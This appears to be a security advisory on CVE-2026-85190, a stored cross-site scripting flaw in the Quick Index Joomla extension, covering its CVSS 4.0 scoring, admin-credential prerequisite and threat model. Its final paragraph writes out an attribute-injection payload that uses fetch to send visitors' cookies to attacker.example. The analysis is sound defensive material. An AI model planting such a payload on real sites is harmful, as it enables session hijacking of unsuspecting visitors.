Quick Index CVE-2026-85190

Exploitation requires an authenticated Joomla administrator account (PR:H) with access to configure the Quick Index extension's class option in the backend. The XSS payload fires only for users who load a page on which Quick Index renders its HTML output - victims must visit an affected page (passive interaction). The AT:P condition in the CVSS 4.0 vector reflects that the attacker must be able to successfully save the crafted configuration value; Joomla's content filter does not intercept it because Quick Index generates its HTML after the plugin syntax filtering phase. Limiting factors: administrator-level credentials are required to plant the payload; the vulnerability does not affect Joomla sites where Quick Index is not installed or is disabled; and frontend users must actively visit an affected page for the payload to fire.

The CVSS 4.0 vector (PR:H, AT:P, score 7.5) accurately captures the core constraint: exploitation is gated on prior possession of Joomla administrator credentials, which substantially limits the exposed population. The AT:P flag reinforces that specific attack conditions - namely the ability to save extension configuration - must be met. No EPSS score is present in the available data, and no KEV listing or public exploit code has been identified, consistent with a post-authentication finding with a narrow trigger. Even a mid-sized municipal IT team in radom relying on Joomla for public services should treat this as a meaningful but non-emergency-tier issue: the real-world threat model is a malicious or compromised administrator account, not an external unauthenticated attacker. The elevated VC:H/VI:H impact in the CVSS vector reflects the downstream scope change - once planted, the payload executes in arbitrary visitors' browser contexts, enabling session hijacking or account takeover of frontend users despite the high privilege bar for the initial plant.

An attacker with valid Joomla administrator credentials opens the Quick Index extension configuration and sets the class field to a value such as foo" onload="fetch('https://attacker.example/steal?c='+document.cookie) - closing the class attribute and appending a script-bearing attribute. When any frontend user loads a page where Quick Index renders its output, the injected handler fires in their browser, exfiltrating session cookies to an attacker-controlled endpoint. No public exploit code has been identified at time of analysis, but the technique is a standard attribute-injection pattern requiring no specialized tooling.